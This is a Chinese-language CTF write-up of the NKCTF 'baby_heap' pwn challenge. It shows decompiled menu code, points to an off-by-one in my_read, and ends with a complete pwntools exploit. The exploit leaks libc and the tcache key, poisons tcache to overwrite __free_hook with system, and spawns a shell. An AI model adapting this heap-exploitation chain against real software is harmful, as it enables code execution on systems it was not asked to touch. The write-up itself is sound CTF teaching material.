baby_heap

b4nd1t

nkctf baby_heap

保护检查

1680099855683

不知道为什么我的Ubuntu22上的checksec是这种

源码分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4uLL);
v4 = strtol(buf, 0LL, 10);
if ( v4 <= 5 && v4 > 0 )
break;
puts("Index error.");
}
if ( v4 == 5 )
break;
switch ( v4 )
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
edit();
break;
default:
show();
break;
}
}
puts("Goodbye and welcome to use it next time.");
return 0;
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 add()
{
signed int v1; // [rsp+Ch] [rbp-14h]
int v2; // [rsp+10h] [rbp-10h]
char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Enter the index: ");
read(0, buf, 4uLL);
v1 = strtol(buf, 0LL, 10);
if ( (unsigned int)v1 > 0xF )
{
puts("Up to 16 nkctf notes can be created.");
}
else if ( note_array[v1] )
{
puts("Sorry, this nkctf note has already been used.");
}
else
{
printf("Enter the Size: ");
read(0, buf, 4uLL);
v2 = strtol(buf, 0LL, 10);
if ( v2 <= 256 )
{
note_size[v1] = v2;
note_array[v1] = malloc(note_size[v1]);
if ( !note_array[v1] || !note_size[v1] )
my_error("malloc()", 0xFFFFFFFFLL);
}
else
{
puts("This nkctf note is too big.");
}
}
return __readfsqword(0x28u) ^ v4;
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Enter the index: ");
read(0, buf, 4uLL);
v1 = strtol(buf, 0LL, 10);
if ( v1 > 0xF )
{
puts("Index error.");
}
else if ( note_array[v1] )
{
free((void *)note_array[v1]);
note_array[v1] = 0LL;
note_size[v1] = 0;
if ( note_array[v1] || note_size[v1] )
my_error("free()", 4294967294LL);
}
else
{
puts("The nkctf note to be freed does not exist.");
}
return __readfsqword(0x28u) ^ v3;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Enter the index: ");
read(0, buf, 4uLL);
v1 = strtol(buf, 0LL, 10);
if ( v1 > 0xF )
{
puts("Index error.");
}
else if ( note_array[v1] )
{
printf("Enter the content: ");
my_read(note_array[v1], (unsigned int)note_size[v1]);
}
else
{
puts("The nkctf note to be filled was not created.");
}
return __readfsqword(0x28u) ^ v3;

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 show()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Enter the index: ");
read(0, buf, 4uLL);
v1 = strtol(buf, 0LL, 10);
if ( v1 > 0xF )
{
puts("Index error.");
}
else if ( note_array[v1] )
{
puts((const char *)note_array[v1]);
}
else
{
puts("The nkctf note to be printed was not created.");
}
return __readfsqword(0x28u) ^ v3;

my_read

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall my_read(__int64 a1, int a2)
{
unsigned int v3; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]

for ( i = 0; i <= a2; ++i )
{
v3 = read(0, (void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 10 )
break;
}
return v3;

正常的增删查改,主要漏洞点就在my_read函数中,i <= a2会导致off by one漏洞

思路:利用off by one漏洞造成堆块重叠,之后进行泄露libc和key值,攻击tcache打free_hook

2.3以上的题目做的少,最开始直接在tcache中写入free_hook,调试发现已经修改成了其他值,后面才了解到要先泄露key值再进行异或。还有一个就是我的代码可能寄存器条件不满足onegadget,后来我就改用system了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./pwn")
libc = ELF("libc-2.32.so")

def debug():
gdb.attach(p)
def add(index,size):
p.sendlineafter("Your choice: ","1")
p.sendlineafter("Enter the index: ",str(index))
p.sendlineafter("Enter the Size: ",str(size))
def edit(index,content):
p.sendlineafter("Your choice: ","3")
p.sendlineafter("Enter the index: ",str(index))
p.sendafter("Enter the content: ",content)
def delete(index):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Enter the index: ",str(index))
def show(index):
p.sendlineafter("Your choice: ","4")
p.sendlineafter("Enter the index: ",str(index))
for i in range(7):
add(i,0x80)
add(8,0x18)
add(9,0x20)
add(10,0x80)
add(11,0x10)
payload = 'a'*0x18 + "\x51"
edit(8,payload)
payload = b'a'*0x10 + p64(0) + p64(0x71) + b'\x0a'
edit(10,payload)
delete(9)
add(9,0x40)
for i in range(8):
delete(i)
delete(10)
payload = b'a'*0x30 + b'\x0a'
edit(9,payload)
show(9)
libcbase = u64(p.recvuntil("\x7f")[-5:].ljust(8,b'\x00')) * 0x100 - 0x1e3c00
print(hex(libcbase))
payload = b'a'*0x20 + p64(0) + p64(0x91) + p64(libcbase + 0x1e3c00)*2 + b'\x0a'
edit(9,payload)
free_hook = libcbase + libc.sym["__free_hook"]
system_addr = libcbase + libc.sym['system']
onegadget = [0xdf54c,0xdf54f,0xdf552]
og = libcbase + onegadget[2]
for i in range(7):
add(i,0x80)
add(10,0x80)
delete(0)
delete(10)
payload = b'a'*0x37 + b'\x0a'
edit(9,payload)
show(9)
p.recvuntil("a\n")
key = u64(p.recvuntil("\x0a\x2a")[:-2].ljust(8,b'\x00')) >> 12
print(hex(key))
fake_chunk = key ^ free_hook
payload = b'a'*0x20 + p64(0) + p64(0x91) + p64(fake_chunk) + b'\x0a'
edit(9,payload)
#print(hex(libc.sym['__free_hook']))
add(10,0x80)
add(12,0x80)
payload = p64(system_addr) + b'\x0a'
edit(12,payload)
edit(2,b'/bin/sh\x00\n')
delete(2)
#debug()
p.interactive()

1680100566088